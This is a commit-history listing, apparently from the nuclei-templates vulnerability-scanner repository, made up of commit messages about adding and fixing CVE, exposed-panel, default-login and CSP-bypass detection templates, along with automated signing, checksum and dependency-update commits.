Compare commits

...
1808 Commits
Author SHA1 Message Date
Dhiyaneshwaran 0f6b9e4b4c Add files via upload 2025-09-10 02:26:06 -07:00
ghost 8edef07126 chore: generate new addition list 🤖 2025-09-10 08:57:53 +00:00
ghost 79acb21537 chore: generate CVEs metadata 🤖 2025-09-10 08:57:50 +00:00
ghost 9ed5dffbab chore: sign templates 🤖 2025-09-10 08:57:44 +00:00
ritikchaddha 440fc5bd01 Merge branch 'cve_2024_8425' of github.com:jsnv-dev/nuclei-templates 2025-09-10 14:27:20 +05:30
Ritik Chaddha 4d2c812c11 updated matchers 2025-09-10 13:59:32 +05:30
ghost 3222c8807d chore: generate new addition list 🤖 2025-09-10 07:57:55 +00:00
ghost 50e9a3917f chore: generate templates checksum 🤖 2025-09-10 07:57:50 +00:00
ghost 5c533e5a5b chore: sign templates 🤖 2025-09-10 07:57:44 +00:00
pussycat0x 834f8ff4b4 Merge pull request #13021 from darses/patch-52
Update FreePBX-panel and add freepbx-cleanup-backdoor
2025-09-10 13:27:21 +05:30
ghost d43efe11f8 chore: generate new addition list 🤖 2025-09-10 07:53:24 +00:00
ghost d04d08d7eb chore: generate templates checksum 🤖 2025-09-10 07:53:23 +00:00
ghost 8563197723 chore: generate CVEs metadata 🤖 2025-09-10 07:53:16 +00:00
ghost 7dada8235a chore: sign templates 🤖 2025-09-10 07:53:14 +00:00
pussycat0x 9c26091900 Merge pull request #13128 from halil-s4e/cerber
add CVE-2022-0429 vKEV
2025-09-10 13:22:52 +05:30
ghost c918b77210 chore: generate new addition list 🤖 2025-09-10 07:48:18 +00:00
ghost 1dc6e3ee7d chore: generate templates checksum 🤖 2025-09-10 07:48:17 +00:00
ghost 7108e6b6a0 chore: sign templates 🤖 2025-09-10 07:48:07 +00:00
pussycat0x 0e57bd98de Merge pull request #13124 from icarot/main
Create apache-streampark-detect.yaml and apache-streampark-default-login.yaml
2025-09-10 13:17:46 +05:30
Dhiyaneshwaran e824479379 Update CVE-2022-0429.yaml metadata and tags 2025-09-10 13:15:32 +05:30
Ritik Chaddha 77b21e051a Update CVE-2022-0429.yaml 2025-09-10 13:06:46 +05:30
ghost b5ea72f41c chore: generate templates checksum 🤖 2025-09-10 07:29:36 +00:00
ghost 9231555aed chore: sign templates 🤖 2025-09-10 07:29:31 +00:00
Dhiyaneshwaran da36cde6d2 Merge pull request #13180 from projectdiscovery/FP-airflow-v3-default-login
Fix FP airflow-v3-default-login.yaml
2025-09-10 00:29:11 -07:00
Ritik Chaddha e93e8137a8 updated matchers 2025-09-10 12:40:06 +05:30
Ritik Chaddha 9dd92420da Fix FP airflow-v3-default-login.yaml 2025-09-10 12:17:13 +05:30
ghost 4be66f5aab chore: update EPSS scores 🤖 2025-09-10 02:26:19 +00:00
ghost ce4f44b2ba chore: generate new addition list 🤖 2025-09-09 19:07:33 +00:00
ghost ce99acd65b chore: generate CVEs metadata 🤖 2025-09-09 19:07:27 +00:00
ghost 7ae9837c9c chore: sign templates 🤖 2025-09-09 19:07:25 +00:00
pussycat0x 6084b5de0f Merge pull request #13151 from popcorn94/CVE-2022-4971
Added CVE-2022-4971 Template vKEV
2025-09-10 00:37:02 +05:30
Dhiyaneshwaran 75ca4b2f3b Update and rename CVE-2022-4971.yaml to http/cves/2022/CVE-2022-4971.yaml 2025-09-10 00:30:49 +05:30
ghost a5fa75ff96 chore: generate new addition list 🤖 2025-09-09 18:59:12 +00:00
ghost 24130ae25e chore: generate templates checksum 🤖 2025-09-09 18:59:04 +00:00
ghost b260564258 chore: sign templates 🤖 2025-09-09 18:59:01 +00:00
pussycat0x da370e7c4f Merge pull request #13115 from Jaenact/add-omtr2
feat(template): add Salesforce CSP bypass detection
2025-09-10 00:28:41 +05:30
Dhiyaneshwaran c345ebd7d6 Merge branch 'CVE-2022-4971' of https://github.com/popcorn94/nuclei-templates into pr/13151 2025-09-10 00:27:42 +05:30
Dhiyaneshwaran cd4b05fc5a Delete cve-2022-4971-request.png 2025-09-10 00:27:30 +05:30
ghost a9c8eae5c5 chore: generate templates checksum 🤖 2025-09-09 18:57:19 +00:00
ghost 5fba83e38c chore: sign templates 🤖 2025-09-09 18:57:11 +00:00
Dhiyaneshwaran b70abf949e Merge pull request #13148 from matejsmycka/enhance-canon-exposed-panel
Make Canon iR-ADV panel  generic detection
2025-09-09 11:56:50 -07:00
ghost 0c478cff8b chore: sign templates 🤖 2025-09-09 18:56:05 +00:00
pussycat0x e3d2085af5 Merge pull request #13117 from Jaenact/add-beslist-csp
feat(template): add Beslist.nl CSP bypass detection
2025-09-10 00:25:38 +05:30
ghost 91bacc07a6 chore: generate templates checksum 🤖 2025-09-09 18:23:13 +00:00
ghost efda446255 chore: sign templates 🤖 2025-09-09 18:23:11 +00:00
pussycat0x a187331328 Merge pull request #13167 from projectdiscovery/updated-joomla-detect
Updated joomla-detect
2025-09-09 23:52:46 +05:30
ghost 795414c939 chore: generate templates checksum 🤖 2025-09-09 18:21:07 +00:00
ghost 2b3735dea6 chore: sign templates 🤖 2025-09-09 18:20:58 +00:00
pussycat0x e513755b96 Merge pull request #13173 from idealphase/main
Edited wazuh-panel.yaml
2025-09-09 23:50:34 +05:30
ghost fc52800ce3 chore: generate new addition list 🤖 2025-09-09 18:19:44 +00:00
ghost 9e72eee5bd chore: generate CVEs metadata 🤖 2025-09-09 18:19:40 +00:00
ghost 489d9b78ae chore: generate templates checksum 🤖 2025-09-09 18:19:39 +00:00
ghost 8f59d052ff chore: sign templates 🤖 2025-09-09 18:19:33 +00:00
Dhiyaneshwaran ad5f85b8be Merge pull request #13166 from projectdiscovery/CVE-2024-33326
Add CVE-2024-33326 XSS template for LumisXP
2025-09-09 11:19:11 -07:00
Dhiyaneshwaran 69f5214013 Update regex for wazuhVersion in YAML file 2025-09-09 23:36:31 +05:30
Dhiyaneshwaran 8904ee2c30 Add additional URL path for CVE-2024-33326 2025-09-09 23:27:42 +05:30
ghost 024994a69f chore: generate new addition list 🤖 2025-09-09 17:51:00 +00:00
ghost 49399d7a9c chore: generate templates checksum 🤖 2025-09-09 17:50:57 +00:00
ghost 8e82cb59d5 chore: sign templates 🤖 2025-09-09 17:50:51 +00:00
ghost cb8d459ae5 chore: generate CVEs metadata 🤖 2025-09-09 17:50:48 +00:00
Dhiyaneshwaran d35f5a6b2e Merge pull request #13077 from jsnv-dev/main
Add template for CVE-2016-15042
2025-09-09 10:50:26 -07:00
Dhiyaneshwaran de9bd5f38c Add 'file-upload' tag to CVE-2016-15042.yaml 2025-09-09 23:15:16 +05:30
Dhiyaneshwaran 4eedc11181 Update CVE-2016-15042.yaml 2025-09-09 23:12:28 +05:30
Ritik Chaddha 58e01040a0 updated matcher 2025-09-09 21:26:45 +05:30
Ritik Chaddha 053283142d Update CVE-2022-4971.yaml 2025-09-09 21:15:16 +05:30
idealphase 142722d09d Added wazuh-panel.yaml
Edit extractor part from https://github.com/projectdiscovery/nuclei-templates/blob/6787b185044c815ec14a3904071c271c3b02ac56/http/exposed-panels/wazuh-panel.yaml#L7 to valid current Wazuh verison
2025-09-09 21:08:54 +07:00
pussycat0x 332eb29e11 flow - update 2025-09-09 18:43:27 +05:30
Joshua Chan de7bd2acb3 Merge branch 'main' into CVE-2022-4971 2025-09-09 20:29:44 +08:00
Prince Chaddha da3b249b17 updated joomla-detect.yaml 2025-09-09 18:08:33 +08:00
Prince Chaddha aa0b29bb0c Add CVE-2024-33326 XSS template for LumisXP 2025-09-09 17:16:31 +08:00
ghost 6787b18504 chore: generate new addition list 🤖 2025-09-09 08:29:34 +00:00
ghost 3ec1ccac1f chore: generate templates checksum 🤖 2025-09-09 08:29:27 +00:00
ghost 4bec81b851 chore: sign templates 🤖 2025-09-09 08:29:24 +00:00
Dhiyaneshwaran a1ec713be7 Merge pull request #12541 from tamim1089/feature/hikvision-cve-2021-36260
feat: Add hikvision-cam-info-exposure.yaml
2025-09-09 01:29:02 -07:00
Dhiyaneshwaran aaa15cb527 Refine tags and matchers in hikvision-cam-info-exposure.yaml 2025-09-09 13:53:44 +05:30
pussycat0x 90bea24989 Update hikvision-cam-info-exposure.yaml 2025-09-09 13:50:31 +05:30
ghost a739fab59a chore: generate templates checksum 🤖 2025-09-09 07:58:29 +00:00
ghost 9c8edbb03f chore: sign templates 🤖 2025-09-09 07:57:58 +00:00
Dhiyaneshwaran 72cb7f3b84 Update and rename canon-iR-ADV.yaml to canon-ir-adv.yaml 2025-09-09 13:26:22 +05:30
ghost fb8320a083 chore: generate new addition list 🤖 2025-09-09 07:56:08 +00:00
ghost 7a66069014 chore: generate CVEs metadata 🤖 2025-09-09 07:56:03 +00:00
ghost 1fe21c26e4 chore: sign templates 🤖 2025-09-09 07:55:56 +00:00
Dhiyaneshwaran 43440db812 Merge pull request #13127 from halil-s4e/CVE-2019-7195
CVE-2019-7195 (kev)
2025-09-09 00:55:32 -07:00
ghost 0aafeb9ac1 chore: generate new addition list 🤖 2025-09-09 07:53:51 +00:00
ghost aa80109651 chore: generate templates checksum 🤖 2025-09-09 07:53:43 +00:00
ghost 2ff603bd43 chore: sign templates 🤖 2025-09-09 07:53:40 +00:00
Dhiyaneshwaran ae5686761d Merge pull request #13121 from projectdiscovery/pussycat0x-patch-8
Create direct-connect-detect.yaml
2025-09-09 00:53:16 -07:00
ghost f11f7c9b34 chore: generate templates checksum 🤖 2025-09-09 07:53:11 +00:00
ghost b55368476e chore: sign templates 🤖 2025-09-09 07:53:06 +00:00
Dhiyaneshwaran 2e0824fdb5 Merge pull request #12938 from matejsmycka/smtpv1-public
feat: add SNMPv1 public misconfig detection template
2025-09-09 00:52:39 -07:00
Dhiyaneshwaran 41b4d18464 Update snmpv1-community-detect-string.yaml 2025-09-09 13:18:16 +05:30
ghost 3943163512 chore: update EPSS scores 🤖 2025-09-09 02:29:20 +00:00
pussycat0x 8ddb83b91a Update and rename snmpv1-community-string.yaml to snmpv1-community-detect-string.yaml 2025-09-08 23:50:48 +05:30
Joshua Chan fa8aeacd8a Update CVE-2022-4971.yaml 2025-09-09 00:03:46 +08:00
Joshua Chan 8172f357b1 Update CVE-2022-4971.yaml 2025-09-08 23:35:55 +08:00
popcorn94 0b8f32d349 Added CVE-2022-4971 Template 2025-09-08 23:30:14 +08:00
Matej Smycka 62857df218 Make Canon iR-ADV panel generic detection 2025-09-08 14:42:12 +02:00
ghost 349a2215eb chore: generate templates checksum 🤖 2025-09-08 11:42:45 +00:00
ghost 44c3123da4 chore: sign templates 🤖 2025-09-08 11:42:43 +00:00
ghost 3c260d4ce2 chore: generate CVEs metadata 🤖 2025-09-08 11:42:37 +00:00
Dhiyaneshwaran 05971a3092 Merge pull request #13119 from melmathari/feat/cve-2020-36836
feat(http): Add CVE-2020-36836 - WordPress WP Fastest Cache Authenticated File Deletion
2025-09-08 04:42:16 -07:00
pussycat0x cd656f05b0 target path - update 2025-09-08 16:47:56 +05:30
pussycat0x bbadb3855b Update CVE-2020-36836.yaml 2025-09-08 16:33:09 +05:30
Dhiyaneshwaran 01d6c8dc80 Merge pull request #13134 from projectdiscovery/dependabot/github_actions/main/actions/github-script-8
chore(deps): bump actions/github-script from 7 to 8
2025-09-08 02:17:43 -07:00
Dhiyaneshwaran 1f0fbcdf28 Merge pull request #13135 from projectdiscovery/dependabot/github_actions/main/actions/setup-go-6
chore(deps): bump actions/setup-go from 5 to 6
2025-09-08 02:15:58 -07:00
Ritik Chaddha 988a20e551 Update CVE-2019-7195.yaml 2025-09-08 14:26:40 +05:30
Dhiyaneshwaran 6a6cc765b0 Merge pull request #13136 from projectdiscovery/dependabot/github_actions/main/actions/setup-python-6
chore(deps): bump actions/setup-python from 5 to 6
2025-09-08 01:47:13 -07:00
jsnv-dev a72b8f4ddd Fix author name 2025-09-08 15:04:50 +08:00
jsnv-dev 1560657ec3 Improved the template for CVE-2016-15042 2025-09-08 14:56:19 +08:00
dependabot[bot] d72986d1e9 chore(deps): bump actions/setup-python from 5 to 6
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 5 to 6.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-09-08 05:05:30 +00:00
dependabot[bot] 032d0c552f chore(deps): bump actions/setup-go from 5 to 6
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 5 to 6.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-09-08 05:05:24 +00:00
dependabot[bot] 36d81eb0a9 chore(deps): bump actions/github-script from 7 to 8
Bumps [actions/github-script](https://github.com/actions/github-script) from 7 to 8.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/v7...v8)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-version: '8'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-09-08 05:05:21 +00:00
ghost f9996d0059 chore: update EPSS scores 🤖 2025-09-08 02:30:40 +00:00
halil 543cf99533 add CVE-2022-0429 vkev 2025-09-07 21:58:00 +03:00
halil ea4c31fb2e CVE-2019-7195 2025-09-07 17:09:38 +03:00
pussycat0x 9668747640 Update direct-connect-detect.yaml 2025-09-07 09:59:43 +05:30
ghost 6fc314bc94 chore: update EPSS scores 🤖 2025-09-07 02:29:46 +00:00
Icaro Torres da83195f13 Create apache-streampark-detect.yaml
Detects a Apache Streampark server, a easy-to-use streaming application development framework and operation platform.
2025-09-06 23:16:20 -03:00
Icaro Torres 9a3f5e91cd Create apache-streampark-default-login.yaml
Apache Streampark server enables default admin credentials. An attacker can execute unauthorized operations.
2025-09-06 23:14:06 -03:00
pussycat0x 7bfa62d7ec Create direct-connect-detect.yaml 2025-09-06 21:05:33 +05:30
ghost d3df0b14b7 chore: generate templates stats 🤖 2025-09-06 13:59:00 +00:00
ghost 43ffac4e64 chore: sign templates 🤖 2025-09-06 13:57:39 +00:00
ghost 8b18dde689 chore: generate new addition list 🤖 2025-09-06 13:56:46 +00:00
ghost a6b6ad70d5 chore: sign templates 🤖 2025-09-06 13:56:33 +00:00
Dhiyaneshwaran 7026191548 Merge pull request #13105 from projectdiscovery/pussycat0x-patch-8
Create hugegraph-studio-detect.yaml
2025-09-06 06:56:09 -07:00
ghost 83f208a907 chore: generate new addition list 🤖 2025-09-06 13:47:49 +00:00
ghost a70ea03714 chore: generate templates checksum 🤖 2025-09-06 13:47:37 +00:00
Dhiyaneshwaran 9075f6aa85 Merge pull request #13120 from projectdiscovery/pussycat0x-patch-21
Create zeroconf-detect.yaml
2025-09-06 06:47:14 -07:00
Dhiyaneshwaran 338edea535 Refine Zeroconf detection description and matchers 2025-09-06 19:13:01 +05:30
ghost d3e08d26f6 chore: generate new addition list 🤖 2025-09-06 13:36:42 +00:00
ghost 7b2cd1d1e8 chore: generate templates checksum 🤖 2025-09-06 13:36:32 +00:00
ghost 919454ecb1 chore: sign templates 🤖 2025-09-06 13:36:29 +00:00
Dhiyaneshwaran 99efd6226a Merge pull request #13110 from projectdiscovery/pussycat0x-patch-20
Create pigeonhole-sieve-detect.yaml
2025-09-06 06:36:09 -07:00
ghost de648b0e4a chore: generate new addition list 🤖 2025-09-06 13:35:44 +00:00
ghost 9104e23497 chore: generate templates checksum 🤖 2025-09-06 13:35:32 +00:00
ghost 546e8a40f8 chore: sign templates 🤖 2025-09-06 13:35:28 +00:00
Dhiyaneshwaran 48f131e1ce Merge pull request #12772 from nukunga/CVE-2025-50738
feat: add CVE-2025-50738 template for stored XSS vulnerability in Memos
2025-09-06 06:35:07 -07:00
Dhiyaneshwaran d9c7a4e27a Update pigeonhole-sieve-detect.yaml 2025-09-06 19:01:36 +05:30
ghost 810281cc1d chore: generate new addition list 🤖 2025-09-06 13:28:59 +00:00
ghost d7479dc39c chore: generate templates checksum 🤖 2025-09-06 13:28:55 +00:00
ghost 182e584fec chore: sign templates 🤖 2025-09-06 13:28:46 +00:00
Dhiyaneshwaran 4a2f3ae3f9 Merge pull request #13106 from projectdiscovery/pussycat0x-patch-15
Create sap-dispatcher-detect.yaml
2025-09-06 06:28:25 -07:00
ghost b35e42c977 chore: generate new addition list 🤖 2025-09-06 13:26:43 +00:00
ghost 5ada53a339 chore: generate templates checksum 🤖 2025-09-06 13:26:34 +00:00
ghost 63043f1d80 chore: sign templates 🤖 2025-09-06 13:26:31 +00:00
Dhiyaneshwaran bd61dfb43e Merge pull request #13107 from projectdiscovery/pussycat0x-patch-16
Create sap-router-detect.yaml
2025-09-06 06:26:10 -07:00
ghost 49f909f384 chore: generate new addition list 🤖 2025-09-06 13:25:42 +00:00
ghost 9df709a231 chore: generate templates checksum 🤖 2025-09-06 13:25:36 +00:00
ghost 1e8c6294c0 chore: sign templates 🤖 2025-09-06 13:25:26 +00:00
pussycat0x 7bead65244 Merge pull request #12524 from amjadali-110/patch-1
Create framer-takeover.yaml (Framer Takeover Detection)
2025-09-06 18:55:06 +05:30
ghost b60029f0a7 chore: generate new addition list 🤖 2025-09-06 13:23:02 +00:00
ghost 1773f490ca chore: generate templates checksum 🤖 2025-09-06 13:22:54 +00:00
ghost bef7efa58e chore: sign templates 🤖 2025-09-06 13:22:49 +00:00
Dhiyaneshwaran bb84d1184b Merge pull request #13108 from projectdiscovery/pussycat0x-patch-17
Create netstat-service-expose.yaml
2025-09-06 06:22:27 -07:00
Dhiyaneshwaran 48fb1a9552 Add read-size configuration to sap-router-detect.yaml
Added read-size configuration to sap-router-detect.yaml
2025-09-06 18:50:54 +05:30
pussycat0x e021d200f3 Update zeroconf-detect.yaml 2025-09-06 18:50:11 +05:30
pussycat0x a9e00853ba Create zeroconf-detect.yaml 2025-09-06 18:48:20 +05:30
Dhiyaneshwaran 58f46406f6 Fix formatting of zoomeye-query in YAML file 2025-09-06 18:48:13 +05:30
Me 5a8753255f targetPath 2025-09-06 13:59:17 +02:00
Me 5db069a993 vulnerability 2025-09-06 13:21:00 +02:00
Me 7fca8d62ef vulnerability 2025-09-06 13:16:35 +02:00
Jaenact 5775c064ca feat(template): add Beslist.nl CSP bypass detection 2025-09-06 12:46:14 +09:00
Jaenact 10bef016c3 edit payloads 2025-09-06 12:30:32 +09:00
Jaenact 0d48b9f2d4 feat(template): add Salesforce CSP bypass detection 2025-09-06 12:18:19 +09:00
ghost 5b45dc0a01 chore: update EPSS scores 🤖 2025-09-06 02:26:16 +00:00
pussycat0x 4e2b9a893a Create pigeonhole-sieve-detect.yaml 2025-09-06 01:57:23 +05:30
pussycat0x 2c4be26617 Create netstat-service-expose.yaml 2025-09-06 01:15:04 +05:30
pussycat0x ab357f982a Create sap-router-detect.yaml 2025-09-05 22:54:29 +05:30
pussycat0x d520ecaafa Update sap-dispatcher-detect.yaml 2025-09-05 21:50:06 +05:30
pussycat0x 74b545f9c6 data - update 2025-09-05 21:49:44 +05:30
pussycat0x 22baaf0b52 Create sap-dispatcher-detect.yaml 2025-09-05 21:45:37 +05:30
ghost cbb58a7c53 chore: generate new addition list 🤖 2025-09-05 15:46:57 +00:00
ghost 28d9fd67f0 chore: generate CVEs metadata 🤖 2025-09-05 15:46:49 +00:00
ghost 039c7f6b02 chore: sign templates 🤖 2025-09-05 15:46:46 +00:00
Dhiyaneshwaran 1d88ce4faf Merge pull request #12941 from NamhyeonKo/NamhyeonKo
Add CVE-2025-23061 template for Mongoose NoSQL injection vulnerability
2025-09-05 08:46:22 -07:00
pussycat0x 186adf1620 Update hugegraph-studio-detect.yaml 2025-09-05 21:10:39 +05:30
pussycat0x 4d1563d785 Create hugegraph-studio-detect.yaml 2025-09-05 20:59:46 +05:30
Dhiyaneshwaran e0320f5776 Fix formatting of isAdmin matcher in CVE-2025-23061 2025-09-05 15:55:08 +05:30
jsnv-dev 2c3ad25b29 Fix author name 2025-09-05 15:58:09 +08:00
ghost b917efe2a0 chore: generate templates checksum 🤖 2025-09-05 07:55:15 +00:00
ghost 8909a23729 chore: sign templates 🤖 2025-09-05 07:55:05 +00:00
jsnv-dev eff76cf016 Remove template for other CVE 2025-09-05 15:54:58 +08:00
pussycat0x aceb61bb30 Merge pull request #13095 from matejsmycka/netdata-update
Update netstat detection template
2025-09-05 13:24:44 +05:30
jsnv-dev ac4f8c2966 Add template for CVE-2024-8425 - WooCommerce Ultimate Gift Card - Unrestricted File Upload 2025-09-05 15:45:54 +08:00
ghost 7037026975 chore: generate templates checksum 🤖 2025-09-05 07:23:43 +00:00
ghost a0839f66d1 chore: generate new addition list 🤖 2025-09-05 07:23:41 +00:00
ghost 836c14470c chore: sign templates 🤖 2025-09-05 07:23:34 +00:00
ghost 37b4a83712 chore: generate CVEs metadata 🤖 2025-09-05 07:23:32 +00:00
Dhiyaneshwaran 8d55fdc377 Merge pull request #13061 from prdngr/CVE-2025-57822
Add template for CVE-2025-57822
2025-09-05 00:23:09 -07:00
Dhiyaneshwaran 5df29b8548 Fix URL format in CVE-2025-57822.yaml 2025-09-05 12:52:49 +05:30
Dhiyaneshwaran 9fa9aeb7ce Update CVE-2025-57822.yaml queries and tags 2025-09-05 12:01:43 +05:30
ghost 919b862eff chore: generate new addition list 🤖 2025-09-05 06:03:33 +00:00
ghost 51619139c7 chore: generate templates checksum 🤖 2025-09-05 06:03:31 +00:00
ghost 278f9487a8 chore: sign templates 🤖 2025-09-05 06:03:23 +00:00
Dhiyaneshwaran 7a4ad6822e Merge pull request #12843 from Lucky-Pulse/cookies-without-samesite-strict
Added template to detect samesite cookie attribute not set to strict
2025-09-04 23:02:59 -07:00
Dhiyaneshwaran 8dab28cea1 fix-template-description 2025-09-05 11:28:07 +05:30
Dhiyaneshwaran 1bbe4d17d4 Update and rename snmpv1-public-discovery.yaml to snmpv1-community-string.yaml 2025-09-05 09:29:29 +05:30
ghost d4d430cbc2 chore: generate templates checksum 🤖 2025-09-05 03:04:30 +00:00
ghost a6caaf5880 chore: sign templates 🤖 2025-09-05 03:03:56 +00:00
Dhiyaneshwaran eb0d3dd810 Merge pull request #13068 from Jaenact/typekit
feat(templates): Add Nuclei template for Typekit CSP bypass
2025-09-04 20:03:35 -07:00
Dhiyaneshwaran bba80f5b93 remove-hardcoded-port 2025-09-05 08:21:05 +05:30
ghost 7452853747 chore: update EPSS scores 🤖 2025-09-05 02:28:07 +00:00
Matej Smycka b0776020e9 fix: make linter happy 2025-09-04 16:09:12 +02:00
Matej Smycka 7c096f2a0f chore: update netstat template 2025-09-04 14:39:17 +02:00
ghost 6136cd2bc4 chore: sign templates 🤖 2025-09-04 11:33:43 +00:00
ghost cf43fd2a0e chore: generate new addition list 🤖 2025-09-04 11:31:56 +00:00
ghost 8da584487c chore: generate CVEs metadata 🤖 2025-09-04 11:31:50 +00:00
ghost 18d57010ef chore: sign templates 🤖 2025-09-04 11:31:46 +00:00
Dhiyaneshwaran 45bb6e7d78 Merge pull request #13080 from hnd3884/CVE-2025-3515
CVE 2025 3515
2025-09-04 04:31:23 -07:00
ghost ff10d212c8 chore: generate templates checksum 🤖 2025-09-04 11:30:07 +00:00
ghost a67a303ed6 chore: sign templates 🤖 2025-09-04 11:30:04 +00:00
Dhiyaneshwaran 39e576fbb8 Merge pull request #13074 from Jaenact/add-clients6
feat(templates): Add Nuclei template for clients6 CSP bypass
2025-09-04 04:29:41 -07:00
ghost 2ea46bbc1a chore: generate new addition list 🤖 2025-09-04 11:26:29 +00:00
ghost 4582d84a75 chore: generate templates checksum 🤖 2025-09-04 11:26:20 +00:00
ghost aa18971209 chore: sign templates 🤖 2025-09-04 11:26:17 +00:00
Dhiyaneshwaran 21315e2964 Merge pull request #13073 from icarot/main
Create n8n-config.yaml
2025-09-04 04:25:55 -07:00
ghost cc35456461 chore: generate new addition list 🤖 2025-09-04 10:19:22 +00:00
ghost 99dcbf654d chore: generate templates checksum 🤖 2025-09-04 10:19:14 +00:00
ghost e8dec6995a chore: generate CVEs metadata 🤖 2025-09-04 10:19:13 +00:00
ghost 72ca0da04f chore: sign templates 🤖 2025-09-04 10:19:10 +00:00
Dhiyaneshwaran d1cafe0cc8 Merge pull request #13092 from projectdiscovery/CVE-2024-29029
Create CVE-2024-29029.yaml
2025-09-04 03:18:50 -07:00
ghost 7ae25e27d6 chore: generate new addition list 🤖 2025-09-04 10:15:11 +00:00
ghost a51634f018 chore: generate templates checksum 🤖 2025-09-04 10:15:06 +00:00
ghost 1a47da0a65 chore: generate CVEs metadata 🤖 2025-09-04 10:15:04 +00:00
ghost 04750c89da chore: sign templates 🤖 2025-09-04 10:15:00 +00:00
Dhiyaneshwaran f74e8b4401 Merge pull request #13093 from projectdiscovery/CVE-2024-29028
Create CVE-2024-29028.yaml
2025-09-04 03:14:37 -07:00
Ritik Chaddha 1cb804a6cf Update CVE-2024-29028.yaml 2025-09-04 15:39:39 +05:30
ghost 546a0fdc49 chore: generate new addition list 🤖 2025-09-04 09:58:05 +00:00
ghost 452f6468d0 chore: generate templates checksum 🤖 2025-09-04 09:57:57 +00:00
ghost 3d200f47f3 chore: sign templates 🤖 2025-09-04 09:57:54 +00:00
Dhiyaneshwaran 70d2398af5 Merge pull request #13090 from projectdiscovery/Fn-retool-svg-xss
Fix FN retool-svg-xss (wrong matchers)
2025-09-04 02:57:34 -07:00
Ritik Chaddha 820075192e fix matchers 2025-09-04 15:27:30 +05:30
Ritik Chaddha 456e6088e0 Create CVE-2024-29029.yaml 2025-09-04 15:06:53 +05:30
Ritik Chaddha 05a3851f31 Create CVE-2024-29028.yaml 2025-09-04 15:05:28 +05:30
Dhiyaneshwaran ddf5eeae08 fix-lint-error 2025-09-04 15:03:25 +05:30
Ritik Chaddha 05e722e82d Fix FN retool-svg-xss (wrong matchers) 2025-09-04 15:00:28 +05:30
pussycat0x 579153c64d Update CVE-2025-3515.yaml 2025-09-04 14:56:12 +05:30
Dominik Prodinger 6f9361c361 Update Shodan and FOFA queries
Signed-off-by: Dominik Prodinger <[email protected]>
2025-09-04 11:09:34 +02:00
Ritik Chaddha 8e2f2c3f7e extractor removed 2025-09-04 13:16:20 +05:30
ghost 0737f0dd4a chore: generate templates checksum 🤖 2025-09-04 07:40:36 +00:00
ghost eca93f7521 chore: sign templates 🤖 2025-09-04 07:40:28 +00:00
Ritik Chaddha 10141c04df Merge pull request #12814 from projectdiscovery/parthmalhotra-patch-1
Create global-waf-detect.yaml
2025-09-04 13:10:05 +05:30
Dhiyaneshwaran b4cd469742 Merge branch 'main' into parthmalhotra-patch-1 2025-09-04 00:35:31 -07:00
Ritik Chaddha 570fbfba03 re-write simple template 2025-09-04 12:43:54 +05:30
Dhiyaneshwaran fe1f595826 Update CVE-2025-3515.yaml 2025-09-04 12:38:32 +05:30
Ritik Chaddha 1f7e395a84 updated matchers 2025-09-04 12:02:36 +05:30
Dhiyaneshwaran b1f8f3b430 re-write description 2025-09-04 11:10:10 +05:30
Dhiyaneshwaran 3f78243d0a removed extractor 2025-09-04 11:06:26 +05:30
Dhiyaneshwaran 3fbf7b7198 Update framer-takeover.yaml 2025-09-04 11:01:22 +05:30
Dhiyaneshwaran d25c51cf3e Update framer-takeover.yaml 2025-09-04 11:00:27 +05:30
Ritik Chaddha 6e6aafa9c1 updated matcher & payload 2025-09-04 09:19:16 +05:30
ghost 1d475e989c chore: update EPSS scores 🤖 2025-09-04 02:26:28 +00:00
PDTeamX 3bde774e59 added version check fallback with conditional flow + additional paths 2025-09-04 06:04:11 +05:30
ghost d900e58c3e chore: generate templates checksum 🤖 2025-09-03 14:45:30 +00:00
ghost 7355f14d53 chore: sign templates 🤖 2025-09-03 14:45:23 +00:00
Dhiyaneshwaran 2c462d5927 Add stop-at-first-match option to heapdump config (#13085) 2025-09-03 20:15:02 +05:30
Hoang Nguyen Dinh 8dd34d0154 update 2025-09-03 15:17:17 +07:00
Hoang Nguyen Dinh d9d01464db Create CVE-2025-3515.yaml 2025-09-03 14:53:54 +07:00
jsnv-dev 6357dbe41b Fix author name 2025-09-03 15:01:01 +08:00
jsnv-dev 018a0f1813 Add template for CVE-2016-15042 - WordPress Frontend File Manager & N-Media Post Frontend - Arbitrary File Upload 2025-09-03 14:47:19 +08:00
ghost 8603d6831f chore: update KEV tags and metadata 🤖 2025-09-03 03:12:24 +00:00
ghost 90e2fac2b9 chore: update EPSS scores 🤖 2025-09-03 02:26:15 +00:00
Jaenact af9cff4986 feat(templates): Add Nuclei template for clients6 CSP bypass 2025-09-03 10:14:29 +09:00
Icaro Torres 899d7fb739 Create n8n-config.yaml
Detects if path /rest/settings of N8n web application is exposed, getting internal information. N8n is a Fair-code workflow automation platform with native AI capabilities.
2025-09-02 21:43:49 -03:00
ghost c302f1fa3f chore: generate templates checksum 🤖 2025-09-02 16:35:42 +00:00
ghost 54c7645b9e chore: sign templates 🤖 2025-09-02 16:35:32 +00:00
Dhiyaneshwaran ad7bc30f07 Merge pull request #13069 from Mys7ic/patch-1-fix-case-sensitive
fix case-sensitive issue
2025-09-02 09:35:11 -07:00
Anton Strilez 14e7eaf8ab fix case-sensitive issue 2025-09-02 18:11:39 +02:00
Jaenact 357c8a71a2 feat(templates): Add Nuclei template for Typekit CSP bypass 2025-09-02 23:10:00 +09:00
ghost 7cf6990462 chore: generate templates checksum 🤖 2025-09-02 10:09:45 +00:00
ghost 34721222d7 chore: sign templates 🤖 2025-09-02 10:09:39 +00:00
Dhiyaneshwaran 23d8ca9ba8 Merge pull request #13013 from snieguu/main
fix: exclude float number with fractional part equals to cc number
